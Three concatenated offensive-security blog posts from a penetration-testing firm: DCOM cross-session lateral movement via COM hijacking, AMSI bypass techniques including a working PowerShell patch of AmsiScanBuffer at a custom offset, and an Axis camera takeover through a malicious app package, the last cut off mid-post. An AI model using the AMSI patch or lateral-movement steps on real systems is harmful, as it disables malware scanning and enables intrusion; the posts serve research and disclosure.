This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html

Introduction

• WMI, e.G. wmiexec.py
• Remote Service Creation or Modification, e.G. smbexec.py
• WinRM, e.G. EvilWinRM
• Remote Scheduled Task Creation, e.G. atexec.py

These techniques are well documented in terms of both network-based and endpoint-based indicators of compromise (IoCs). Therefore, if cmd.exe /C is called via any of these techniques, or if an unsigned executable is run remotely, the attacker will likely already trigger an alert in monitored environments. Of course, these IoCs can be removed, and we can ensure that only signed binaries are executed using a Sideloading DLL for example, but having stealthier alternatives is always a good option.

There are also some well-known Lateral Movement techniques that use DCOM such as MMC20.Application or ShellWindows implemented in dcomexec.py. However, these usually only work on client systems or older Windows Server versions, as can be seen in the comments already:

In terms of IoCs, these techniques are also more likely to be detected as it is well known that processes spawn new ones, which is uncommon and relatively easy to spot as an anomaly from the defender’s perspective.

1. The classic way to find DCOM code execution vectors

On the protocol level, the options for code execution are limited. But when the execution primitive is changed to DCOM, the IoCs and behaviour for code execution will differ a lot when different classes are used. So this is a good field to search for new execution primitives. Each version of Windows uses several default COM Objects, which are uniquely identified by their CLSID. Tools such as oleviewdotnet provide a convenient way to get an overview of the CLSIDs used on a given system:

In this example, there is 11676 different CLSIDs are registered. Expanding the view on one of these CLSIDs, in this case the MSTSWebProxy Class, we can see the exposed Interface Identifiers - IID, and their names:

In some cases, you can create an instance of this CLSID directly from within OleView.NET. However, this is often not possible, and you need to invoke them manually with the corresponding code:

If the Viewer displays Yes, the functions can also be invoked from this instance directly within OleView.NET:

To view and modify the input parameters, simply double-click on the function of your choice:

After entering your chosen arguments, click Invoke to execute the function with the provided input arguments. Did we just open an .RDP file in an mstsc.exe process?

If this interface can be activated remotely and you have the necessary permissions, this could be considered a new DCOM code execution vector. An attacker could replace C:\Windows\System32\mstsc.exe with an arbitrary executable via C$ from a remote location and launch it using this function. However, I would not recommend doing this in a real-world project, as removing or replacing built-in Windows binaries can always lead to disruption! Usually, all CLSIDs either spawn an executable on the remote system where the code is hosted, or load a DLL into existing processes such as for example svchost.exe. Therefore, replacement of executables is possible with many of them. The MSTSWebProxy class was just chosen here to demonstrate the overall process for an analysis.

But this approach looks simple in general, right? You should think again.

1. There are more than 11,000 CLSIDs, and most of them have multiple IIDs. Taking this approach for all of them would take months.
2. In many cases, it is not possible to create an instance via the GUI; you need to invoke each CLSID/IID and their functions with custom code.
3. Often, the IIDs and their functions are not officially documented or visible at all. However, using the View Proxy Definition option when right-clicking on an IID will at least provide skeleton code showing how to call the function in many cases.

1. However, as each IID has a different definition, automating this approach to fuzz interfaces is complex.
2. Permissions are also important. In the best case, you might be able to spawn a process or control what is spawned with input parameters. However, if you cannot create an instance or invoke a function remotely, this cannot be used for Lateral Movement.
3. The blackbox/fuzzing approach is not sufficient. At some point you need to start reversing the code to find out what happens under the hood and to find code execution vectors.

However, multiple companies have published research in recent years on upcoming DCOM lateral movement techniques, such as the following:

• https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922
• https://www.ibm.com/think/news/fileless-lateral-movement-trapped-com-objects
• https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor

The complexity of these publications and the research behind it shows, that there is not many “low hanging fruits” in the field of DCOM Lateral Movement anymore, and that it is necessary to dig deeper into the exposed functions and consider what they are capable of and how they could be abused.

An alternative to exploiting COM object functionalities is to plant DLLs on the remote system so that they are loaded by the COM object hosting executable, as discussed in this MDSec Blog Post. Further executable/DLL combinations were later published here. Finding new executable/DLL combinations is not a that complex task here and would lead to stealthier execution, especially if they had not been published before. However, execution using these public techniques will be done in the context of the user connecting to the remote system.

2. Introduction in Cross Session Activation attacks

When you search for Cross Session Activation, you’ll find the official Microsoft documentation about Session-to-Session Activation with a Session Moniker. But even if you are allowed to create an instance in the session of another user, attacks are restricted to the exposed functionalities from the COM Class. So this is not what we are talking about here. Instead, most of the tools published and described later use the following Windows API combination to launch COM instances in the context of another user:

1. Use CoCreateInstance to create a COM Object for the target class
2. Call QueryInterface (ISpecialSystemProperties) on the retrieved interface pointer
3. Set Session ID via SetSessionId on the retrieved SpecialSystemProperties (not documented by Microsoft anymore)
4. Call StandardGetInstanceFromIStorage on the interface pointer (not documented by Microsoft anymore)

The prerequisites for this technique to work are the following:

1. The COM Class needs to be run as the INTERACTIVE USER
2. Access and launch permissions need to be there for the launching user

The last step can trigger NTLM/Kerberos authentication to an attacker defined host in the context of another user, which can be abused via cracking the NetNTLMv2/NetNTLMv1 hash or for relaying purposes.

The NTLM reflection for local Privilege Escalation was originally found by James Forshaw in 2014 here. Antonio Cocomazzi and Andrea Pierini created the first Proof of Concept tool Remotepotat0 and published their blog post Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol in 2021, which explains the abuse for scenarios where multiple users are logged on a system. James Forshaw one day later described in his Blogpost Standard Activating Yourself to Greatness how to do the same for DCOM. For a more in depth explanation it’s recommended to read these publications.

3. Introducing Cross Session Activation DCOM Lateral Movement

Until now, Cross-Session Activation attacks were mainly used for privilege escalation purposes, with publications and tools such as:

• RemotePotat0
• Chrome Updater EoP
• Explorer EoP
• KrbRelay
• CertifiedDCOM
• ADCSCoercePotato
• Silverpotato
• RemoteKrbRelay

Whereas the first publications were all focussed on abusing Interactive authentication COM objects locally after authentication, the last four publications introduced the remote attack surface of Cross Session Activation attacks. A really good blogpost by my colleague Nico Viakowski describes which of these publications are still exploitable today:

https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html

My initial objective in this area of research was to identify a new CLSID that could be launched by a low-privileged user for privilege escalation purposes. Rather than manually checking all the COM object permissions, I took a brute-force approach using different Windows systems to see whether any incoming authentication could be triggered remotely with this simple PowerShell script:

# Get all CLSIDs from the system registry
$clsidPath = "Registry::HKEY_CLASSES_ROOT\CLSID"
$clsids = Get-Childitem -Path $clsidPath | Select-Object -ExpandProperty PSChildName

# Loop through all of them
foreach ($clsid in $clsids) {
    # Remove curly braces
    $cleanClsid = $clsid -replace "[{}]", ""
    $command = "RemoteKrbRelay.exe -victim srv01.domain -target srv02.domain -clsid $cleanClsid -session 1 -smb -console -v --smbkeyword interactive"

    iex($command)
}

RemoteKrbRelay was the best tool of choice here, because it can trigger authentications from a remote systems session and also directly relay those to for example SMB if possible. But it turned out, that not a single CLSID could be abused here to trigger authentications from a low privileged users perspective.

I was wondering - what could an attacker with administrative privileges and Cross Session Activation do instead? In our projects, we often target specific systems with active sessions for Lateral Movement or Credential Theft. Imagine we have the following scenario and are one step ahead from getting domain administrator privileges:

After executing code on that system, we typically run as SYSTEM or in the context of our own user account. This means that we usually need to dump credentials, impersonate the other user session, inject into one of its processes, or do whatever else is necessary to take over the targeted account. What if we had a lateral movement technique that allowed us to execute code in the context of an already-established interactive user session? Even better, what if we could do that via a lesser-known DCOM RPC call instead of using WMI, WinRM, or similar? These were the next goals of the research here!

Inspired by the tool PermissionHunter, which has useful filter options, this was first used for the initial enumeration of potentially interesting target CLSIDs. We can easily filter the more than 11.000 CLSIDs to get a smaller list for this specific use case. We filter RunAs Interactive User, LaunchPrincipal Everyone or Administrator or Empty, RemoteActivation and Launch or empty, and obtain the following result:

The result here was 86 unique CLSIDs - that’s something we can work with! Why adding empty in the filter? If the LaunchPrincipal or other settings are not explicitly defined, COM will adhere to the default permissions, whereby Administrators can remotely launch or invoke the objects by default.

Instead of searching for code execution vectors directly, I tried getting the NetNTLMv2 hashes from remotely logged in users first with the CLSIDs found. It turned out that this is indeed possible with administrative privileges, but public tools don’t yet fully support this attack vector. I therefore slightly modified potato.py and RemoteKrbRelay via pull requests:

• https://github.com/sploutchy/impacket/pull/3
• https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm

As IBM published a very similar technique in April - but had a much cooler implementation which also allows relaying and NetNTLMv1 downgrade - those information were spontaneously published on Twitter before this blog post:

https://x.com/ShitSecure/status/1909865929472639357

Checking for code Execution instead

In order to test for new CLSID/COM objects that can be invoked remotely for code execution, we need to prepare some tools. The tools I used were:

• OLEView .NET / https://github.com/tyranid/oleviewdotnet
• IDA Free / Ghidra
• ProcessMonitor / https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

What was the initial approach for finding execution primitives?

1. Finding the hosting binary or DLL for each CLSID.
2. Check the exposed IID’s via OleView.NET.
3. Throw the DLLs/Executables into IDA to check what the functions are doing.
   • Look for low hanging fruits such as ShellExecuteW or similar.

After many hours, lots of interesting functions had been found, but no direct code execution primitive. One CLSID stood out as the perfect candidate at first glance: AB93B6F1-BE76-4185-A488-A9001B105B94, the BDEUILauncher class. The code-hosting executable is BdeUISrv.exe, and when we checked the available functions, one stood out:

ProcessStart with ushort * as input argument?

Upon examining what the function was doing, it appeared that this function was indeed spawning a new process:

At this point I reached out to my colleague eversinc33, as he had way more experience in reversing than myself to verify if this can be abused for code execution.

When he joined the analysis, it quickly became clear that the first input parameter — an integer — determines which executable is spawned by ShellExecuteW. Unfortunately for us, this was not user-controlled, but one of four hardcoded executables.

As many hours of reversing different classes without success had passed we decided to step back and to think about alternatives to abusing existing functionalities from the COM classes.

COM Hijacking for the win

We already know, that when a COM object is invoked, it’s executable is getting spawned, because it in the very end provides the code for our function. When using Cross Session Activation, we can spawn that process in the context of an already logged on user, right? And we can even specify the exact Session by ourself via Cross Session Activation.

A recent read about COM Hijacking by Matthew Eidelberg brought us the idea - we can COM hijack the remote registry of our target user, so that our newly spawned process will load a DLL of our choice. If you are not familiar with COM Hijacking already, this blog post is highly recommended to read!

After starting ProcessMonitor and setting up filters for our process, it was clear that this is indeed exploitable for the previously mentioned BDEUILauncher Class:

In this case if BaaUpdate.exe is spawned with two input parameters (and we can influence the input parameters via the ushort input parameter), it tries to load non existent CLSID entries from HKCU.

Weaponization from this point on was relatively straight forward:

1. Plant a DLL on the target system via C$ or admin$
2. COM Hijack the target user via the Remote Registry
3. Execute BaaUpdate.exe via BDEUILauncher Class in the context of our target user
4. Remove the COM Hijack
5. Cleanup the DLL

The PoC for this technique is published on our Github page BitlockMove. This PoC has a few drawbacks:

• BDEUILauncher Class is in the very end related to Bitlocker. Bitlocker is mainly available on Clients. You can therefore only use this PoC to execute code on systems with Bitlocker available.
• The DLL which will get dropped on the target system is hardcoded to execute user defined commands. This enables the Operator to define which exact process is getting spawned, but it OPSec wise not the best idea and easier to detect. Living in the newly spawned process would be stealthier from our perspective, so you need to bring your own DLL in the best case.

It also turned out, that we did not need to use Cross Session Authentication by using SetSessionID on ISpecialSystemProperties, as client systems usually always have only one active session. And even without explicitly specifying the target users session, the process will always be spawned in the context of the Interactive User, which is always the logged on user.

However, we found multiple more abusable CLSIDs in a short amount of time here, which also work on server systems and where setting the target users session is needed. Shortly after the BitlockMove publication AlmondOffsec published one alternative already with their tool release DCOMRunas.

Initially we wanted to leave the exercise to the reader to find more alternative CLSIDs. However to demonstrate how easy this technique can be adapted to many other CLSIDs which are configured to be run as INTERACTIVE USER, we are also releasing another PoC with this blog post, which also works on common Windows Server versions:

https://github.com/rtecCyberSec/SpeechRuntimeMove

Whenever an instance of 38FE8DFE-B129-452B-A215-119382B89E3D - Speech Named Pipe COM is created, SpeechRuntimeBroker.exe is spawned within the context of an active session defined by the attacker. As this is also vulnerable to COM Hijacking, we can load our malicious DLL into this process for Lateral Movement.

4. Detection

The following events can be seen when any of the released PoC’s is executed:

• SMB Logon & Share Access (Security 4624, Type 3 Logon & Security 5140 Network Share Access)
• COM Hijack (Security 4663 An attempt was made to access an object, Security 4657 A registry value was modified)
• Process Creation (Security 4688 A new process has been created)

Registry Key modifications:

• HKCU\SOFTWARE\Classes\CLSID\{896C2B1D-3586-4FA5-B419-41F4A6D38CF1}\InProcServer32 (BitLockMove)
• HKCU\SOFTWARE\Classes\CLSID\{655D9BF9-3876-43D0-B6E8-C83C1224154C}\InProcServer32 (SpeechRuntimeMove)

Suspicious child process is getting spawned + unexpected DLL load events:

• BaaUpdate.exe
• SpeechRuntimeBroker.exe

5. Conclusion

Code can be executed on remote systems with administrative privileges via various techniques. However, many of the most well-known techniques and tools lead to alerts in monitored environments because of their IoCs, so they should not be used if detection is to be avoided.

Although DCOM Lateral Movement techniques have been well researched, new vectors are regularly published, as the attack surface here is huge and it is possible to dig deep.

Cross-Session Activation has mainly been used for privilege escalation purposes so far. However, with administrative privileges, it is also possible to execute code on a remote system in the context of an actively logged-in user. From an attacker’s perspective, this also has the advantage that we can leave out IoCs for injection, impersonation or credential dumping, as we can directly execute code in the context of our target user.

COM Hijacking makes this new Lateral Movement vector easy to find and abuse, but can also get detected accurately with targeted rule sets.

This blog post was originally published on r-tec.net.

This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html

1. When is AMSI bypassing needed at all?

Although AMSI has been analysed and described in many papers and tools, I’m still surprised to see so much confusion and misunderstanding in the community. For example, a lot of shellcode loaders were published on GitHub that do nothing more than shellcode execution. But the README also states that it contains an AMSI bypass, and that’s why it’s never detected. So there is a lot of misunderstanding, at least on GitHub or social networks, which may confuse more and more people out there.

When do we really need to use an AMSI bypass? At least for shellcode execution - we don’t. AMSI, as I wrote in my blog more than four years ago, is primarily used to analyse scripting languages and .NET managed code at runtime, such as

• Powershell
• VBS
• Javascript
• VBA macros
• C# assemblies

So if you are using a Command & Control Framework’s payload and are mainly running BOF’s or COFF’s from there, you will never need to bypass AMSI at all. If you do implement a bypass in your loader, you will only increase the IoCs and the likelihood of being detected by that bypass attempt. It’s always better to leave out bypasses unless you really need them!

On the other hand, if you want to run known malicious and unobfuscated public tools, e.G. from GitHub in any of the above languages, or reuse code from them in your own tools, you will need to bypass AMSI to get those tools to run. Are you going to execute GitHub Scripts via Invoke-Expression in Powershell? Are you loading a .NET assembly via assembly::load()? Creating malicious office macros? Loading Scripts into memory via mshta.exe, cscript.exe? or wscript.exe? You will likely need an AMSI bypass.

2. How AMSI works - and how to get around it

AMSI is mostly signature-based detection. The main difference to classic signature-based detections is that these signatures are looked for at runtime, whenever something potentially malicious is loaded from memory. AMSI by architecture also doesn’t trigger a scan at all at certain points when something is loaded from disk into memory, as recently pointed out by IBM X-Force Red.

What might AMSI signatures look like? They can be simple strings like Invoke-Mimikatz, but also byte arrays like the bytes used for the classic AmsiScanBuffer patch:

[Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

For C# assemblies, this can be specific HEX bytes, but in my experience AMSI also uses some kind of Yara rules - or at least regular expressions. But if AMSI is about signatures, this also means that we can always get around it by modifying the code. If you change the code so that the signature doesn’t apply, you can bypass AMSI. As “simple” as that, although signatures are sometimes difficult to find out.

The alternative to bypassing AMSI detection is to somehow break functionality within amsi.dll or other libraries involved in the scanning process, or to prevent the DLL from loading at all. This is what almost all publicly documented bypasses are about. They differ mainly in the technique used to break the functionality, such as

• Patching the memory region (also includes hooks from my perspective)
• Using vectored exception handlers and e.g. hardware breakpoints to manipulate the workflow
• Spawning a new process and preventing one of the relevant DLLs from loading in various ways
• Prevent one of the relevant DLLs from being loaded before the CLR is started and/or AMSI is initialised

These things are usually done at runtime. IoCs, and therefore detection of these bypasses, rely on:

• Signatures for the bypass code, or
• Runtime detections such as userland hooks, ETWti or memory scans.

3. The downside of using public obfuscators

When I wrote my first blog on AMSI evasion, using public obfuscators to evade detection was still possible. Is this still the case? For fun, let’s do a simple experiment. For this purpose I did let ChatGPT generate a random Powershell script that gets 0 detections on Virustotal for the obvious reason that it’s not malicious at all.

After obfuscating it with Invoke-Obfuscation and uploading it to VirusTotal again, it gets 1 detection instead of the previous 0 detections. So at first glance it looks like only one vendor has some sort of generic rule to detect the obfuscation of Invoke-Obfuscation. However, a Sigma rule was triggered because there was a match for the use of Invoke-Obfuscation with TOKEN OBFUSCATION:

Figure 1: SIGMA rule triggered

How does obfuscation work against known malicious GitHub tools? Let’s take two examples:

Plain GitHub version

1. Invoke-Rubeus from PowersharpPack - 29 detections at the time of writing.
2. WinPwn - 19 detections at the time of this writing

Invoke-Obfuscation obfuscated version

1. Invoke-Rubeus from PowersharpPack - 10 detections
2. WinPwn - 2 detections on first upload

As we can see, it is still possible to evade signature-based detection with the same public obfuscators almost five years later. Wow, I didn’t expect that to be honest, I thought there would be more Invoke-Obfuscation specific detections by now. **Note: **after already having this blog post finished, I fiddled around with some EDR’s and the scripts from above - it turned out, that some have dedicated AMSI signatures for Invoke-Obfuscation! Even the non-malicious first script was flagged as malicious. So this means, that VirusTotal won’t show you AMSI based detections but only detections based on signatures for the file itself. This fact makes Invoke-Obfuscation completely useless against those vendors.

WinPwn broke in several places, so some features like the built-in AMSI bypass don’t work anymore:

Figure 2: Partially broken script execution

But the menu was still displayed and the native Powershell functions could be used normally.

The obfuscated Invoke-Rubeus version first broke here, due to the obfuscation, as the type [dreIKOpFhund.pROGRam] was placed before the function and as variable and those Namespace and Class-names could not properly get resolved at this point. To fix this, I manually placed this part into the function itself after the obfuscated [assembly::load] line:

Figure 3: Obfuscation fix for Invoke-Rubeus

And this shows the first drawback, which is that obfuscators can break our code and require manual tweaking to work properly. Do we bypass AMSI for Defender?

Figure 4: Script loading/execution

At first glance it looks like we did, but only for the Powershell script itself and not for the Rubeus assembly that gets called at runtime. Why is that? This has already been described in my 2nd private blog. So in this case we would have to obfuscate the assembly first, embed it and then obfuscate the Powershell script. And we would need to go through this approach for each and every assembly/script. Might it be easier to just use an existing AMSI bypass instead?

4. Which bypass to use?

At the time of my first blog post, my Amsi Bypass Powershell repository contained 15 different bypasses. More than four years later, it contains 23 different code snippets, so 8 more. And those are just the techniques that have been published, including the Powershell code. I intentionally did not add any other published bypass, e.G. from native languages before the CLR is started at all such as my own Ruy-Lopez for example.

So the number of techniques has increased a lot. But what will be really effective in 2025 and what won’t be? How can you even assess that? In general, all of the public bypasses themselves are signatured and flagged by AMSI itself, at least when implementing them in one of the mentioned scripting languages such as Powershell. So for all of them, it’s necessary to manually modify or obfuscate the code so that the bypass itself is no longer flagged. This is assiduous work. And trial and error. But the problem with this approach is, that different vendors have different signatures and even if your modified bypass works against one vendor, it might fail against the next one. I did this myself for several years, but eventually realised that it’s too much work.

The language of choice

On the other hand, sticking to native languages has the advantage that your code won’t be scanned by AMSI itself. Instead, you will have to deal with “good old” signature-based detection for your binary/dll on disk. You will need to use string obfuscation/encryption, Anti-Emulation, Anti-Sandbox techniques as well as userland hook bypasses similar to scripting languages and the chosen bypass. On top, the CLR is not loaded into native processes by default as well as AMSI will not be initialized, which provides more bypass options to choose from in general. Using native programming languages has become my preferred way of bypassing AMSI these days, but this requires more background knowledge of what to look out for as well as Windows API programming in general.

What is still effective

How do we “rate” effectiveness? As mentioned before, ALL public bypasses can get modified to get around signature based detections on disk as well as for AMSI itself. But for some techniques, run-time detections from various vendors have become increasingly relevant. These detections cannot be bypassed as easily as signature-based detections.

Patching

If you choose to patch, you’ll face userland hooks that prevent you from modifying the memory permissions of amsi.dll or writing data to its memory. You need to bypass those by using unhooking, indirect syscalls or similar.

And even after you have done that, you may still face ETWti/memory scan detections for a patch. A really good example is the recent Microsoft Defender detection for the classic AmsiScanBuffer Patch. Whenever the AmsiScanBuffer function (or several others) is modified to just return, an alert is raised and your process is killed. An AV/EDR can simply see via ETWti events, that the protection of e.G. AmsiScanBuffer from amsi.dll was modified and that data was written to this location. You cannot bypass these events from userland, as they are emitted in kernel land. The AV/EDR can afterward scan the function location to actually verify, that something malicious (in terms of a bypass) was done. Ultimately, this means that you should not stick with this particular patch, as you will likely be detected no matter what userland evasion techniques are used.

Note: this detection for entrypoint patching was already used by several other EDR vendors for a couple of years now, but got more attention when Defender introduced it because of it’s widespread use.

Using hardware breakpoints

As a result of the aforementioned discoveries from the Patching section, people in the community came up with the idea of using hardware breakpoints. They have the great advantage that userland hooks don’t need to be bypassed, the integrity of the targeted DLLs remains valid, and memory scanners can’t detect manipulations.

In my experience, very few vendors detect the use of hardware breakpoints to bypass AMSI at runtime. In theory however, hardware breakpoints could be easily detected by checking the debug register values - if one of them is set to the AmsiScanBuffer address, for example, an alert could be raised. Theory vs. practice, never faced such a detection, maybe because of the false positive rate? However, a few vendors have recently come up with ETWti based detections via SetThreadContext as described here.

Overall, in my experience, using hardware breakpoints is still considered OpSec safe against most AV/EDR vendors, and therefore a recommended way to go. However, this could change any day with new detections, Cat & Mouse :-)

Preventing the DLL from loading

There are a few techniques published, that prevent AMSI related DLLs from loading, so that the initialization and scanning will never take place at all. This can - as mentioned above - mainly be used by native languages or for newly spawned processes, as in these cases both loading and initialisation are not yet done. Examples are

• Creating a new process with DEBUG_PROCESS flag and patching the entry point on LOAD_DLL_DEBUG_EVENT with SharpBlock
• Hooking functions in the DLL load process to return fail with NtCreateSection as example
• Hooking functions in the DLL load process to return fail for newly spawned processes with Ruy-Lopez

Although hooking is generally easy to see for an EDR, I’m not aware of any vendors flagging newly set hooks, probably also due to false positive rates. And even if they did alert on new hooks, hardware breakpoints could be used to achieve the same effect. So I’m not aware of any runtime-based detections for these techniques, and they remain effective to this day.

Target specific alternatives

Depending on the AMSI bypass target (e.g. Powershell or C# assemblies), several other alternatives can be used. In many cases it’s still patching - but at different offsets/locations. Regarding Powerhell, the following graphic reflects my personal experience at the time of writing this blog post - don’t hold me responsible:

The first bypass is a special case by now. When it was published, it worked for both Powershell scripts and loaded .NET assemblies. But after publication Microsoft adjusted something from within Powershell, so that it doesn’t affect scripts anymore at all but instead just .NET assemblies. So this can be combined with one of the orange marked bypasses or if your script is not flagged and it loads assemblies - that’s fine.

For all the green ones, you only need to obfuscate/modify the source for signature evasion and you’re good to go. The red ones are much more likely to get flagged these days due to patch-based detections. Orange ones will only help for native Powershell scripts, but the moment assembly::load is called, AMSI is not bypassed at all. In some cases you may also need to remove Add-Type and stick to native Powershell alternatives. Very few vendors also use clr.dll hooks, in these cases you may also fail due to behaviour-based detections and need to unhook clr.dll.

The Provider Patch has two code snippets in my repo, the one with Add-Type only works for Powershell scripts, the one using reflection works for both scripts and .NET assemblies.

As you can see, the green/orange ones still contain some patch based bypasses. But these are less known/used and therefore not checked/found by memory scans in my experience.

In a few cases, EDR vendors don’t even rely on amsi.dll for their scan anymore. Any bypass that targets this specific DLL will not result in a bypass at all. In these cases you will need to enumerate their AMSI provider DLL via the registry or memory walking and patch that or alternatively the custom AMSI DLL. More information can be found in this blackhat talk from 2022.

The C# assembly specific AMSI bypass from IBM linked above already should also not get flagged at all on runtime by now. This whole concept of “tricking” the CLR into loading an assembly from disk was not new and already published with another .NET specific bypass in 2021. Since that release, Windows Defender’s behaviour has not changed, and loading assemblies via the PoC SharpTransactedLoad still works. However, some EDR vendors don’t behave the same and also apply AMSI scans to assemblies loaded from disk, so at least the 2021 PoC is no longer fully OpSec safe.

5. Is the AmsiScanbuffer patch really dead?

After reading a blog post trying to get around about the recent Defender patch detections, I got curious to dig into these detections myself. What else could cause such a detection? The most known public patches use 0xC3 (RET) somewhere at the entry point of AmsiScanBuffer to exit the function and return INVALID ARG, making the caller think that nothing malicious was found. Let’s play around here, just for fun.

Is it just the entry point?

As I said earlier, I believe that Defender uses a memory scan to check for malicious actions before it takes action. So is the memory scan just checking the beginning of the function? What does that entry point look like?

Figure 6: AmsiScanBuffer Entrypoint

First the input arguments are pushed up the stack. What if we patch after push r15 and pop the already pushed registers off the stack before returning the function with INVALID ARG like this:

Figure 7: Alternative patch bytes at offset 0x14

This is what the code looks like:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
 [DllImport("kernel32")]
 public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 [DllImport("kernel32")]
 public static extern IntPtr LoadLibrary(string name);
 [DllImport("kernel32")]
 public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
# POP R14
# POP R15
# POP RDI
$Patch = [Byte[]] (0x41, 0x5F, 0x41, 0x5E, 0x5F, 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$Address = [Int64]$Address + 0x14
$new = [System.Runtime.InteropServices.Marshal]
$new::Copy($Patch, 0, $Address, 11)

The result is -> we don’t get flagged anymore and bypassed AMSI:

Figure 8: AMSI bypassed successfully

This verifies that this detection is related to the entry point and does some sort of validation only there. Still, do we have alternatives to using 0xC3 for the case that an early return is flagged? Let’s check the input arguments again:

Figure 9: AmsiScanBuffer input arguments

The third input argument is the length of the buffer to scan. What if we set this to 0? This should effectively cause a size of 0 bytes to be scanned, right? So our script or assembly will not be seen at all. The AmsiScanBuffer function moves the input argument from the r8 register and places it in the edi register as follows:

Figure 10: Value of argument three stored in edi

We can replace mov edi, r8d with sub edi edi to clear it’s value like this:

Figure 11: Patch alternative number two

And again, the result is a working bypass without our process getting killed:

Figure 12: Demo of working bypass without memory scan trigger

Fun fact: You may remember that Defender used to flag the strings amsiscanbuffer, amsi.dll and the patch bytes as malicious, right? This is no longer the case, as this newly introduced detection is now the primary one to find and prevent a patched AmsiScanBuffer function. So these “old” signatures have now been replaced by the memory scan.

The two shown bypasses - and memory signatures for it’s patches - are in theory easy to add after publication of this blog, so don’t expect them to hold for too long. But the good news is that there are dozens of other patch alternatives. You just have to be creative in adjusting the patch offset and bytes.

6. Conclusion

Much of the content that was relevant years ago to bypass AMSI is still relevant several years later. It’s still a lot about signatures and getting around signatures by doing manual modification or obfuscation. Years old obfuscation tools are still not covered by generic signatures for some reason. But some EDR vendors did build AMSI based signatures for it, which effectively makes the tool without modifications useless. Modification or obfuscation in general however is still enough to completely evade AMSI detection, but with many different vendors and therefore different signature databases, it’s hard to be sure that they’re all bypassed.

Alternatively, manipulation of DLLs involved in the AMSI process at runtime leads to a generic bypass, so that known malicious scripts or assemblies can be loaded. Published bypasses mainly use memory patches or vectored exception handlers with e.g. hardware breakpoints to manipulate the scan or initialisation process at runtime. Some others rely on manipulating the DLL load process - either when AMSI hasn’t been initialised yet or for newly spawned processes.

What’s effective in 2025? From my perspective, effectiveness can be measured in terms of behaviour-based detections, as all bypasses can be easily modified to avoid signature-based detections. In my experience, using patches on the entry point of amsi.dll functions is no longer considered secure, as several vendors have been detecting these patches for a few years now via memory scans triggered by kernel events. Using hardware breakpoints can be considered more OpSec safe at the time of writing, but vendors are starting to use behaviour-based detections for this as well, and the cat and mouse game continues. Manipulating the DLL load process or the AMSI initialisation before it is loaded is not yet detected by behaviour, but can only be used before initialisation or for newly spawned processes.

Although patching at the entry point is no longer considered safe due to memory scan detections, patching at custom offsets is still appropriate for amsi.dll. Alternatives that patch clr.dll or other DLLs involved in the AMSI process usually don’t trigger a memory scan based detection either. So is patching dead? I would say that it is far from dead.

This blog post was originally published on r-tec.net.

This blog post was written and published on my employer’s website, where it can be found here:

• https://www.r-tec.net/r-tec-blog-axis-camera-app-takeover.html

r-tec recently analysed an Axis IP Camera of the model F9111 in a penetration test for one of our customers. We already had administrative credentials for the web interface of the camera, but the published exploit failed to takeover the operating system. This blog post describes our analysis steps and how we still took over the operating system via a slightly different way.

1. Initial PoC failure and analysis

According to the initial publication, the EAP APP files which can be installed on a camera with administrative privileges consist of a tar compressed elf binary plus several config files and HTML code. This tar compressed file is gzip compressed and just named with the extension EAP. The APP being analysed in the initial blog was “AXIS Video Motion Detection”. Replacing the elf binary named vmd in that application did not lead to the attacker code getting executed at all, but instead the POSTINSTALLSCRIPT="" parameter from the package.conf file was manipulated to execute an arbitrary /bin/sh script for code execution.

A look at the published exploit shows that most of the values in the config file are random values, except for the APPTYPE which has the value lua:

Figure 1: Exploit package.conf configuration

According to comments on the original exploit, this APPTYPE is used, because for other APPTYPES some required libraries are checked during the installation:

# The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
# for some required libraries whereas the lua version is just accepted.

Trying to use this exploit in our project however failed, as no proper Session was created:

Figure 2: No session created

In the camera’s APP menu, it’s possible to check the logs for installed applications. Changing the appname GET parameter to the name of our failed malicious APP gives us an indication of why the exploit failed:

Figure 3: Missing package error in APP logs

So in this case, although lua was used as APPTYPE, we still get the message that packages are missing. At this point it was not acceptable to not get a session via this exploit. The APP installation feature is still there, it’s still possible to upload unsigned EAP applications, this still has to be exploitable - or so was our thought.

2. The alternative

As the initial publication showed the config of one exemplary APP only, it was not the best to just ‘guess’ alternative APPTYPES for our EAP file. But where to get alternatives or more samples? Fortunately, the manufacturer itself provides a sort of APP-Store for applications that can be installed on the camera.

Going through some of those, the “AXIS Live Privacy Shield” APP looked like a promising candidate for our malicious APP. The package.conf file looked like this:

PACKAGENAME="AXIS Live Privacy Shield"
APPTYPE="aarch64"
APPNAME="liveprivacyshield"
APPID="346005"
LICENSENAME="Available"
LICENSEPAGE="none"
VENDOR="Axis Communications"
REQEMBDEVVERSION="3.0"
APPMAJORVERSION="2"
APPMINORVERSION="5"
APPMICROVERSION="18"
APPGRP="sdk"
APPUSR="sdk"
APPOPTS=""
OTHERFILES=""
SETTINGSPAGEFILE="index.html"
SETTINGSPAGETEXT=""
VENDORHOMEPAGELINK='<a href="www.axis.com" target="_blank">www.axis.com</a>'
PREUPGRADESCRIPT=""
POSTINSTALLSCRIPT=""
STARTMODE="respawn"
HTTPCGIPATHS="cgi.conf"

